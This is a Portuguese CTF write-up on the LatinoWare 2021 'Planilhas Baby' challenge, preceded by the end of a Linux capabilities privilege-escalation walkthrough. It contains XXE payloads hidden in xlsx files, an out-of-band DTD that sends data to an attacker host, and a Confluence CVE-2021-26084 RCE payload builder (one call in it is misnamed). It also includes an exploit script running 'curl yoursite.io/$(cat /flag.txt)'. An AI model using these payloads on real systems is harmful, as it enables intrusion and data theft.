/assets/cap/Untitled%2012.png

Podemos ver que o python estΓ‘ com um capability chamado sys_admin, dando uma olhada no hacktricks sobre como explorar isso, podemos ver que existe uma forma de sobrescrevermos o arquivo /etc/passwd adicionando uma senha que nΓ³s sabemos para o usuΓ‘rio root.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_admin

/assets/cap/Untitled%2013.png

Exploitation:

/assets/cap/Untitled%2014.png

/assets/cap/Untitled%2015.png

/assets/cap/Untitled%2016.png

/assets/cap/Untitled%2017.png

Depois de rodar o exploit damos um:

/assets/cap/Untitled%2018.png

E ai estΓ‘ nossa flag, parabΓ©ns kadu pela mΓ‘quina e obrigado a vocΓͺ que leu atΓ© aqui!

CTF LatinoWare 2021 - Planilhas Baby

Este challenge fez parte do CTF da Latinoware 2021 e o criador dele Γ© o @manoelt.

Start

Untitled

Untitled

O desafio comeΓ§a com essa pΓ‘gina com um formulΓ‘rio de upload que aparentemente verifica arquivos β€œ.xlsx” (excel).

Portanto vamos subir uma planilha qualquer para o site e ver o que acontece.

Untitled

Untitled

Depois de fazer o upload ele mostra o nome do arquivo e suas colunas. Após tentar algumas payloads de SSTI no nome e dentro das colunas e não obter suceso começei a pensar sobre do que é formado um arquivo xlsx, e fazendo umas pesquisas é possível notar que um arquivo xlsx é nada mais do que um compilado de arquivos xml.

Dando apenas um unzip em um arquivo xlsx vΓ‘rios arquivos sΓ£o descompactados.

Untitled

Untitled

Quando vi esses arquivos fiquei pensando se nΓ£o seria possΓ­vel utilizar algumas payloads de XXE (XML External Entity).

Rapidamente encontrei alguns artigos falando sobre uma vulnerabilidade de XXE que um β€œinterpretador” de xlsx em java possui.

https://www.4armed.com/blog/exploiting-xxe-with-excel/

EntΓ£o comecei a testar algumas payloads.

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://jg315q2pvolex6xv5nvtaocgn7tyhn.burpcollaborator.net/"> ]>
<x>&xxe;</x>

Untitled

Untitled

E entΓ£o depois de realizar o upload:

Untitled

Recebi o request da aplicação, mostrando que o XXE existe!! πŸ˜„

Nessa hora eu fiquei preso por muitas e muitas horas tentando diversas formas de exploração, isso que temos é um blind XXE isto é, não vemos a resposta do request, o que nos leva a testar uma técnica conhecida como blind XXE OOB, que consiste em hospedar um arquivo DTD (parecido com xml) contendo uma payload para que a aplicação carregue este arquivo. Mas NADA FUNCIONAVA.

Outro problema foi que eu e meus amigos estΓ‘vamos tentando ler arquivos de dentro do servidor, porΓ©m nessa versΓ£o do Java, arquivos que contenham, um breakline (β€˜\n’) nΓ£o conseguem ser passados como um argumento em uma requisição HTTP usando o nosso XXE, nenhum bypass para isso deu certo. Tentamos ler a flag, /etc/passwd, /etc/hosts, nenhum ia.

Então decidimos parar começar do 0, olhando as coisas de outra maneira.

Untitled

EntΓ£o notamos que no HTML da pΓ‘gina inicial continha um comentΓ‘rio deveras interessante.

Testando o host do desafio na porta 8090 nΓ£o havia nada, portanto esse β€œlink” Γ© interno e provavelmente estΓ‘ na rede interna, em nossa payload de XXE podemos fazer requisiçáes web, entΓ£o a ideia Γ© fazer requisiçáes para o documentacao:8090 pelo nosso XXE.

A partir dai ja tinham se passado todos os minutos do campeonato e infelizmente nΓ£o conseguimos terminar.

PorΓ©m, podemos continuar o write-up hehe.

Pesquisando sobre o que poderia ser essa aplicação rodando na porta 8090 caimos em algumas sugestáes:

Untitled

Então procurando por vulnerabilidades nesses serviços chegamos em uma CVE bem recente,

CVE-2021-26084 que é um SSTI no confluence. Analisando os exploits dessa vulnerabilidade basicamente um usuÑrio não autenticado poderia fazer requisiçáes para o site, passando alguns parÒmetros para conseguir RCE. Bom parece que é o que precisamos né?

Vamos verificar primeiro se Γ© realmente um confluence que estΓ‘ rodando no site.

Exploitation

Para explorar esses requests eu primeiro comecei a usar a payload de blind XXE OOB que havia comentado.

No meu excel malicioso vai a payload xml dizendo para carregar o meu dtd malicioso:

Untitled

<!DOCTYPE ab [<!ELEMENT ab ANY ><!ENTITY % sp SYSTEM "http://seusite.io/bigous.dtd">%sp;%param1;]>
<ab>&exfil;</ab>

E no meu dtd, bigous.dtd:

<!ENTITY % data SYSTEM "http://documentacao:8090/johnson/static/css/main.css.map">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://seusite.io/?data=%data;'>">%

Essa payload significa que basicamente a aplicação vai pegar o que o http://documentacao:8090/johnson/static/css/main.css.map e enviar como um argumento para o meu link do burpcolaborator client. (β€˜johnson/static/css/main.css.map’ Γ© um arquivo do confluence de uma linha para cerificar se o confluence existe estΓ‘ rodando πŸ™‚).

PS: As tentativas de exploração que envolviam LFI foram usando este mesmo DTD mas trocando a url da entidade data por: β€œfile:///etc/hostname”.

EntΓ£o vamos compilar nosso XLSX, abrir um servidor para hospedar nosso DTD e fazer o upload :D

Para hospedar usei um simples server em flask:

from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def index():
    content = request.args.get('data') #apenqs para eu recer o quefor enviado no xxe
    print(content) ## e printar na tela
    return ':)'

@app.route("/bigous.dtd")
def dtd():
    return open('bigous.dtd').read() #mostrar o dtd malicioso nessa rota
app.run(host='0.0.0.0')

Depois de fazer o upload o request é feito com sucesso para nosso dtd, que por sua vez faz a aplicação fazer outro request sucedido e mandar a resposta para nosso servidor novamente.

Untitled

Ok, agora eu tinha certeza que era confluence. Hora de procurar os exploits para testar.

Quando fiz o upload do arquivo interceptei o request com o burp e usei a extensão: Copy As Python-Requests, para copiar a requisição para um script em python (dãr), assim eu consigo automatizar um pouco as coisas, ja que nosso arquivo xlsx vai ser sempre o mesmo.

Untitled

Fazendo uma busca por exploits, não encontrei muitos que fossem bons o suficiente para a minha situação, porém um exploit de um amigo me ajudou:

[GitHub - carlosevieira/CVE-2021-26084: CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection](https://github.com/carlosevieira/CVE-2021-26084)

Esse exploit basicamente pega um comando que o usuΓ‘rio passa, encoda ele na payload e manda para o servidor tudo certinho sem problemas de quebra.

Portando peguei o código dele e fiz umas alteraçáes ja que só precisamos da payload:

O meu cΓ³digo para gerar as payloads ficou mais ou menos assim:

import sys

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload
	
cmd = sys.argv[1]
print(exploit(cmd))

Untitled

E parece funcionar.

Pelo o que li da vulnerabilidade existem vΓ‘rias β€œrotas” no confluence que aceitam parΓ’metros vulnerΓ‘veis (escolhi o β€˜queryString’) a SSTI, portando escolhi um aleatΓ³rio para mandar a payload (β€˜pages/doenterpagevariables.action’).

Juntei o upload do xlsx com um script que coloca a payload no nosso arquivo DTD para fazer o exploit.

Segue o exploit:

(in same path of your dtd file)$ python3 exploit.py 'curl yoursite.io/$(cat /flag.txt)' 
import requests
import sys

def send_file():
	session = requests.session()

	burp0_url = "http://34.85.140.67:80/uploadFile"
	burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://34.85.140.67", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryX8EzGd8nAoSVFtBe", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://34.85.140.67/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
	burp0_data = "------WebKitFormBoundaryX8EzGd8nAoSVFtBe\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exploit.xlsx\"\r\nContent-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\r\n\r\nPK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x1c\x00[Content_Types].xmlUT\t\x00\x030\xd0\xce\x12\x1e\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x94Mn\xc20\x10\x85\xf7\x95z\x87\xc8[\x94\x18\xba\xa8\xaa\x8a\xc0\xa2?\xcb\x16\xa9\xf4\x00n<!\x16\x8emy\x06\n\xb7\xef\xc4PTU\x94\xa8\x82M\xacx\xe6\xbd\xef\xd9\xd1d<\xdd\xb46[CD\xe3])F\xc5Pd\xe0*\xaf\x8d[\x94\xe2}\xfe\x9c\xdf\x89\x0cI9\xad\xacwP\x8a-\xa0\x98N\xae\xaf\xc6\xf3m\x00\xccX\xed\xb0\x14\rQ\xb8\x97\x12\xab\x06Z\x85\x85\x0f\xe0\xb8R\xfb\xd8*\xe2\xd7\xb8\x90AUK\xb5\x00y3\x1c\xde\xca\xca;\x02G9u\x1eb2~\x84Z\xad,eO\x1b\xde\xde%\x89`Qd\x0f\xbb\xc6\x8eU\n\x15\x825\x95\"\xae\xcb\xb5\xd3\xbf(\xf9\x9eP\xb02\xf5`c\x02\x0e\xb8A\xc8\xa3\x84\xae\xf27`\xaf{\xe5\xab\x89FC6S\x91^T\xcb]rc\xe5\xa7\x8f\xcb\x0f\xef\x97\xc5i\x93#)}]\x9b\n\xb4\xafV-K\n\x0c\x11\x94\xc6\x06\x80Z[\xa4\xb5h\x95q\x83~~jF\x99\x96\xd1\x85\x83\x1c\xfc{r\x10o\xd8=\xcf\x8f\x90lz\x80H[\x0bx\xe9kO\xa6}\xe4FE\xd0o\x14y2.\x1e\xe0\xa7\xf7\xa9\x1c\xac\x9fE\x1f\x90'(\xc2\xffC|\x8fH\xa7\xce\x03\x1bA$s\xfa\xe4\x07\"[\x9f}j\xe8\xa6O\x83>\xc2\x96\xe92\xf9\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x1c\x00_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x1c\x00_rels/.relsUT\t\x00\x030\xd0\xce\x12n\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x92\xcdj\xc30\x0c\x80\xef\x83\xbd\x83\xd1\xbdQ\xda\xc1\x18\xa3N/c\xd0\xdb\x18\xd9\x03h\xb6\xf2C\x12\xcb\xd8n\x97\xbe\xfd\xbc\xc3\xd8\x02]\xe9aG\xcb\xd2\xa7OB\xdb\xdd<\x8d\xea\xc8!\xf6\xe24\xac\x8b\x12\x14;#\xb6w\xad\x86\xb7\xfay\xf5\x00*&r\x96Fq\xac\xe1\xc4\x11v\xd5\xed\xcd\xf6\x95GJ\xb9(v\xbd\x8f*S\\\xd4\xd0\xa5\xe4\x1f\x11\xa3\xe9x\xa2X\x88g\x97\x1a\t\x13\xa5\xfc\x0c-z2\x03\xb5\x8c\x9b\xb2\xbc\xc7\xf0\x9b\x01\xd5\x82\xa9\xf6VC\xd8\xdb;P\xf5\xc9\xf35li\x9a\xde\xf0\x93\x98\xc3\xc4.\x9di\x81<'v\x96\xed\xca\x87\\\x1fR\x9f\xa7Q5\x85\x96\x93\x06+\xe6%\x87#\x92\xf7EF\x03\x9e7\xda\\o\xf4\xf7\xb48q\"K\x89\xd0H\xe0\xcb>_\x19\x97\x84\xd6\xff\xb9\xa2e\xc6\x8f\xcd<\xe2\x87\x84\xe1]d\xf8v\xc1\xc5\rT\x9fPK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00docProps/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x1c\x00docProps/app.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9dR\xc1N\xeb0\x10\xbc#\xf1\x0f\x91\xef\xd4\t<!T9F\xa8\x808<\xf4*\xb5\xe5\xbe8\x9b\xc6\xc2\xb1-{\x89Z\xbe\xfe9\xa9\x1aR\xe0\xc4mvv4\x99\xccZ\xdc\xeeZ\x93u\x18\xa2v\xb6d\xc5,g\x19Z\xe5*m\xb7%\xdb\xac\x1f/nX\x16\tl\x05\xc6Y,\xd9\x1e#\xbb\x95\xe7gb\x19\x9c\xc7@\x1ac\x96,l,YC\xe4\xe7\x9cG\xd5`\x0bq\x96\xd66mj\x17Z\xa04\x86-wu\xad\x15\xde;\xf5\xde\xa2%~\x99\xe7\xd7\x1cw\x84\xb6\xc2\xea\xc2\x8f\x86\xec\xe08\xef\xe8\xb7\xa6\x95S}\xbe\xf8\xb2\xde\xfb\xe4'\xc5\x9d\xf7F+\xa0\xf4\x97\xf2Y\xab\xe0\xa2\xab){\xd8)4\x82O\x97\"\x19\xadP\xbd\x07M{\x99\x0b>\x1d\xc5J\x81\xc1E2\x965\x98\x88\x82\x12\xe2\t\xa1/m\t:D):\x9aw\xa8\xc8\x85,\xea\x8fT\xdb%\xcb^!b\x1f\xa7d\x1d\x04\r\x96\xd8Av\x18\x06l|\xa4 \x97\x06\xac6\rD\xc1Gn\x80S\xe9\x14\xeb?\xb2\x18\x04\t\x9c\n\xf9\x98#\xe1\xd3\x84kM\x06\xe3\xbfz\t\x81~\x08\\L\x03\x0f\x19\xd8\x0f\x11\x8bo\x11\x8f\x1f\xfbb\xbfp\xad\x07\x9b*\xe4#\xfa\xab\xed[\xdc\xf8\xb5\xbb\x07\xc2c\xa1\xa7\xa4X5\x10\xb0J7\x18\x0b\x1f\t\xf1\x94\xa2\x05\xd3\xeb\x17\r\xd8-VG\xcd\xf7E\xfe\x97\xc3\x1b\x97\xc5\xf5,\xbf\xca\xf3\xe1\xeaGN\xf0\xcf\xd7,\xff\x03PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x1c\x00docProps/core.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x8d\x92]k\xc20\x14\x86\xef\x07\xfb\x0f%\xf7m\x9a\x8a\"\xa1\xad\xb0\r\xaf&\x0c\xe6\xd8\xd8]H\x8e\x1a\xd6|\x90D\xab\xff~i\xd5\xaa\xcc\x8b]\x86\xf7\xc9\x93\xf3\x1eR\xce\xf6\xaaIv\xe0\xbc4\xbaB$\xcbQ\x02\x9a\x1b!\xf5\xbaB\x1f\xcby:E\x89\x0fL\x0b\xd6\x18\r\x15:\x80G\xb3\xfa\xf1\xa1\xe4\x96r\xe3\xe0\xcd\x19\x0b.H\xf0I4iO\xb9\xad\xd0&\x04K1\xf6|\x03\x8a\xf9,\x12:\x86+\xe3\x14\x0b\xf1\xe8\xd6\xd82\xfe\xc3\xd6\x80\x8b<\x9f`\x05\x81\t\x16\x18\xee\x84\xa9\x1d\x8c\xe8\xa4\x14|P\xda\xadkz\x81\xe0\x18\x1aP\xa0\x83\xc7$#\xf8\xc2\x06p\xca\xdf\xbd\xd0'W\xa4\x92\xe1`\xe1.z\x0e\x07z\xef\xe5\x00\xb6m\x9b\xb5\xa3\x1e\x8d\xf3\x13\xfc\xb5x}\xef\xab\xa6Rw\xbb\xe2\x80\xeaRp\xca\x1d\xb0`\\\xbd\x93Zr\xb9\xf5Y\xec\x05\xd2\xb1\x12_\x85\xdd\"\x1b\xe6\xc3\"\xee|%A<\x1d\xee\xf0\x99\xf2T\xf4\xe8\x01\x91\xc4\x01\xe9\xb1\xce9\xf9\x1c=\xbf,\xe7\xa8.\xf2\x82\xa4$O\xc9xI&\xb4\x98\xd2q\xf1\xdd\x8dps\xff\"T\xa7G\xfem\x1c\xe7tD\xae\x8cgA\xdd\xcf}\xfbI\xea_PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x1c\x00xl/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x1c\x00xl/sharedStrings.xmlUT\t\x00\x030\xd0\xce\x12\x8e\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x005\xcdA\n\xc20\x10\x85\xe1\xbd\xe0\x1d\xc2\xec\\\xd8\xa9.DJ\x92.\x04O\xa0\x07\x08\xed\xd8\x06\x9aI\xedLEoo\\\xb8\xfcx<~\xdb\xbe\xd3d^\xb4H\xcc\xec\xe0P\xd5`\x88\xbb\xdcG\x1e\x1c\xdco\xd7\xfd\x19\x8ch\xe0>L\x99\xc9\xc1\x87\x04Z\xbf\xddX\x115\xe5\xcb\xe2`T\x9d\x1bD\xe9FJA\xaa<\x13\x97\xe5\x91\x97\x14\xb4p\x19P\xe6\x85B/#\x91\xa6\t\x8fu}\xc2\x14\"\x83\xe9\xf2\xcaZ\xba`V\x8e\xcf\x95.{+\xd1[\xf5\xcd\xce\xa2z\x8b?ai\xfa/PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x1c\x00xl/styles.xmlUT\t\x00\x030\xd0\xce\x12\x8f\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xa5\x95]o\xdb \x14\x86\xef'\xed? \xee]l7\xce\x92\xc8v\xb54\xb5T\xa9\x9b&%\x93vKl\x9c\xa0\xf2\x11\x01\xce\x9cM\xfb\xef;\xd8I\x9c\xa8\xd36\xb5W\xc0\xcb\xe19/\x1c\xb0\xd3\xbbV\n\xb4g\xc6r\xad2\x1c\xdd\x84\x181U\xea\x8a\xabM\x86\xbf\xae\x8a`\x82\x91uTUTh\xc52|`\x16\xdf\xe5\xef\xdf\xa5\xd6\x1d\x04[n\x19s\x08\x10\xcafx\xeb\xdcnF\x88-\xb7LR{\xa3wL\xc1L\xad\x8d\xa4\x0e\x86fC\xec\xce0ZY\xbfH\n\x12\x87\xe1\x98H\xca\x15\xee\t3Y\xfe\x0fDR\xf3\xdc\xec\x82R\xcb\x1du|\xcd\x05w\x87\x8e\x85\x91,g\x8f\x1b\xa5\r]\x0b\xb0\xdaF#Z\xa26\x1a\x9b\x18\xb5\xe6\x94\xa4S_\xe4\x91\xbc4\xda\xea\xda\xdd\x00\x97\xe8\xba\xe6%{iwJ\xa6\x84\x96\x03\t\xc8\xaf#E\t\t\xe3\xab\xbd\xb7\xe6\x95\xa4\x111l\xcf}\xf9p\x9e\xd6Z9\x8bJ\xdd(\x07\xc5\x04\xb6\xdf\xec\xecY\xe9\xef\xaa\xf0S^\xec\xa3\xf2\xd4\xfe@{*@\x890\xc9\xd3R\x0bm\x90\x83\xcc\xcc\x07\x81\xa2\xa8d}\xc4=\x15|m\xb8\x17k*\xb98\xf4r\xec\x85\xce\xec1Nr8{/\x92>C\xd7XX\xc4\x858\xbb\x8aq/\xe4)\x94\xcf1\xa3\n\x18\xa0cu\xd8Az\x057\xad\xc7tq\xff\x88\xde\x18z\x88\xe2\xe4bA\xd7@\xde\xb56\x15\xdc\xec\xe1<NR\x9e\nV;X`\xf8f\xeb[\xa7w\xc4O:\x07'\x9d\xa7\x15\xa7\x1b\xad\xa8\xf0\xc8\xd3\x8ac\x07\xb0%\x13b\xe9o\xff\xb7\xfa\x8a\xdd\xd6H5\xb2\x90\xee\xb1\xca0\xbc#\xbf\xfbS\x17\x0c\x1d\xbb=\xa6\x1fx\xfe%\xadg\xbf\x19\x8b\xda\xfa\x9aFw\x89\xae\xe8g\x15\xf9zg\xf8\xb3ib@\xa0u\xc3\x85\xe3\xea\x0f\x86\x81Y\xb5\x83\xd7n\xd6\xf9\xa7w\x9d\x05\x18\x15\xabi#\xdc\xea<\x99\xe1\xa1\xff\x89U\xbc\x91\xf19\xea\x0b\xdfkw\x8c\x1a\xfaO\xbeR\xd1\xd8\xe7`\xad{\xb2\xaekQcx\x86>\xcc?L\x17\x0fE\x1cL\xc2\xf9$\x18\xdd\xb2$\x98&\xf3E\x90\x8c\xee\xe7\x8bE1\r\xe3\xf0\xfe\xd7\xc5\x07\xe0\r\xcf\xbf{\xb3P\x94h4\xb3\x02\xa2\xccq\xb3G\xf3\xcbA\xcb\xf0\xc5\xa0\xb7\xdf\x9d\x1f\xd8\xbe\xf4>\x8d\xc7\xe1\xc7$\n\x83\xe26\x8c\x82\xd1\x98N\x82\xc9\xf86\t\x8a$\x8a\x17\xe3\xd1\xfc!)\x92\x0b\xef\xc9+?\x13!\x89\xa2\xc1|2s\\2\xc1\x15\xbb\xb6\xbf\xbaT\xa1H0\xfc\xcb&\xc8\xa9\x12d\xf8\x19\xe4\xbf\x01PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/theme/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x1c\x00xl/theme/theme1.xmlUT\t\x00\x030\xd0\xce\x12\x8d\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xedY\xcd\x8b\x1b7\x14\xbf\x17\xfa?\x88\xb9;3\xb6g\xfc\x11\xe2\x04{l\xe7k7Y\xb2NJ\x8e\xda\xb1\xecQ\xac\x19\x19I\xde]\x13\x02%9\xf5R(\xa4\xa5\x97Bo=\x94\xd2@\x03\r\xbd\xf4\x8f\t$\xb4\xe9\x1f\xd173\xfe\x18\xd9\x9a$\x9blBJ\xd7\x0b\xf6H\xfa\xbd\xa7\x9f\xde{zz\xab\xb9p\xe98b\xe8\x90\x08Iy\xdc\xb2\xca\xe7\x1c\x0b\x918\xe0C\x1a\x8f[\xd6\xedA\xbf\xd4\xb0\x90T8\x1eb\xc6c\xd2\xb2\xe6DZ\x97.~\xfe\xd9\x05|^\x85$\"\x08\xe4cy\x1e\xb7\xacP\xa9\xe9y\xdb\x96\x01tcy\x8eOI\x0cc#.\"\xac\xa0)\xc6\xf6P\xe0#\xd0\x1b1\xbb\xe285;\xc24\xb6P\x8c#P;\x00\x194\xe4\xe8\xe6hD\x03b]\\\xaa\xef1\xf8\x8a\x95L:\x02&\xf6\x83t\xceL&\x87\x1dN\xca\xc9\x8f\x9cK\x9f\tt\x88Y\xcb\x82\x99\x86\xfch@\x8e\x95\x85\x18\x96\n\x06Z\x96\x93~,\xfb\xe2\x05\xc4T\x81lN\xae\x9f~\x16r\x0b\x81\xe1\xa4\x92\xca\x89\xf1\xc1J\xd0u=\xb7\xd6^\xe9\xafd\xfa\xb7q\xbdz\xaf\xd6\xab\xad\xf4\xa5\x00\x1c\x04\xb0\xd2\xb2Ag\xbd\xe2\xbb\x0bl\x0e\x94=\x1atw\xeb\xddjY\xc3\xe7\xf4W\xb7\xf0m/\xf9\xd3\xf0\xd55\xde\xdd\xc2\xf7\xfb\xfe\xda\x869P\xf6\xe8m\xe1\xbdN\xb3\xd3\xd5\xf5{k|m\x0b_w\xda]\xb7\xae\xe1SP\xc8h<\xd9B;^\xad\xea/W\xbb\x82\x8c8\xbbb\x847=\xb7_\xaf,\xe0k\x94\x9d\x8b\xaeL>VE\xb1\x16\xe1{\\\xf4\x01\x90:\x17+\x1a#5\x9f\x92\x11\x0e\x00\xe7cF\x0f\x04E;t\x1cB\xe0Mq\xcc%t;\x15\xa7\xefT\xe1;\xf9s\xd3\xa7\xd4\xa3\xf8<\xc19\xe9\xac+\x90[]\t\x1f$\x03A\xa7\xaae]\x03\xadV\x0e\xf2\xe2\xd9\xb3\xe7\x0f\x9f>\xf8\xfb\xf3G\x8f\x9e?\xfcu1\xf7\xb6\xdc\x15\x1c\x8f\xf3r\xaf~\xfa\xe6\x9f\x1f\xbeD\xff\xf6\xe3\xab\xc7\xdf\x9a\xf12\x8f\xf9\xcbW/\xff\xf8\xf3u\xea\x95F\xeb\xbb'/\x9f>y\xf1\xfd\xd7\xfd\xfc\xd8\x00o\x0b|\x90\x87\x0fhD$\xbaA\x8e\xd0-\x1e\xc1\x02\r\x13\x90\x03q2\x89A\x88\xa9&\x81C@\x1a\x80=\x15j\xc0\x1bs\xccL\xb8\x0e\xd1MxG@\xa60\x01/\xcf\xeei\\\xf7C1S\xd4\x00\xbc\x1eF\x1ap\x97s\xd6\xe1\xc2\xb8\x9c\xeb\xc9\\\xf9\xe5\xcc\xe2\xb1yr1\xcb\xe3na|h\x9a\xdb\xdfppo6\x85\x90\xa7&\x95~H4\x9a{\x0c\xbc\x8d\xc7$&\n%c|B\x88A\xec.\xa5\x9a]wi \xb8\xe4#\x85\xeeR\xd4\xc1\xd4h\x92\x01=Pf\xa1+4\x02\xbf\xccM\x04\xc1\xd5\x9amv\xef\xa0\x0eg&\xf5]r\xa8#a[`fRI\x98f\xc6\xcbx\xa6pdd\x8c#\x96G\xee`\x15\x9aH\xee\xcfE\xa0\x19\\*\xf0\xf4\x980\x8ezC\"\xa5I\xe6\xa6\x98kt\xafC\x861\xbb}\x97\xcd#\x1d)\x14\x9d\x98\x90;\x98\xf3<\xb2\xcb'~\x88\xa3\xa9\x913\x8d\xc3<\xf6\xaa\x9c@\x88b\xb4\xc7\x95\x91\x04\xd7wH\xd2\x06?\xe0\xb8\xd0\xddw(Q'\xdb\xd6\xb7!\x03\x99\x03$\x19\x99\t\xd3\x96 \\\xdf\x8fs6\xc2\xc4\xa4\xbc-\"-\xbb\xb6\x055FGg6\xd6B{\x87\x10\x86\x8f\xf0\x90\x10t\xfb\xaa\t\xcf\xa7\xdcL\xfaZ\x08Y\xe5\n1\xd9\xe6\x1a\xd6c5i\xc7D\x12\x94\xd65\x06\xc7R\xa9\x85\xec>\x19\xf3\x02>\xbb\xf3\x8d\xc43\xc7q\x84E\x91\xe6\x1b\x13=dzp\xca\x19S\xe9M\x16L\xb4TJE\xb2i\xcd$n\xca\x08\xbf\x95\xd6\xbd\x10ka\x95\xb4\xa59^\xe7\">\xe9\x1e\x03\x99{\xef CN,\x03\x89\xfd\xadm3\xc0\x8c\x98\x03f\x80\xa1\xc00\xa5[\x10\x99\x99E\x92\xed\x94\x8a\xcd\x8cr#}\xd3\xae\xdd`o\xd4;\x11\x8d\xdfX\xfcl\x94=\xde\xc7){>X\xc1s\xfa\xa5NQJ\xd9,p\x8ap\xff\xc1\xb2\xa6\x8bg\xf1\x1e\x81\x93\xe4\xac\xaa9\xabj\xfe\x8fUM\xd1^>\xabe\xcej\x99\xb3Z\xe6\xa3\xd52\xeb\xf2\xc5\xce\xdf\xf2\xa4Z\xa2\xc2+\x9f\x11el_\xcd\x19\xd9\x91i\xe1#a\xef\x0f\xfb\xd0\x996R\xa1\xd5\r\xd34\x84\xc7\xc5t\x1an,p\xfa\x8c\x04W_P\x15\xee\x87x\n\xd3\x94\xd3\x19\xc6r\xa1z,\xd1\x94K(\x9d\xacB\xddi\xe95\x8bv\xf90\xeb-\x97\x97\x97\x9a 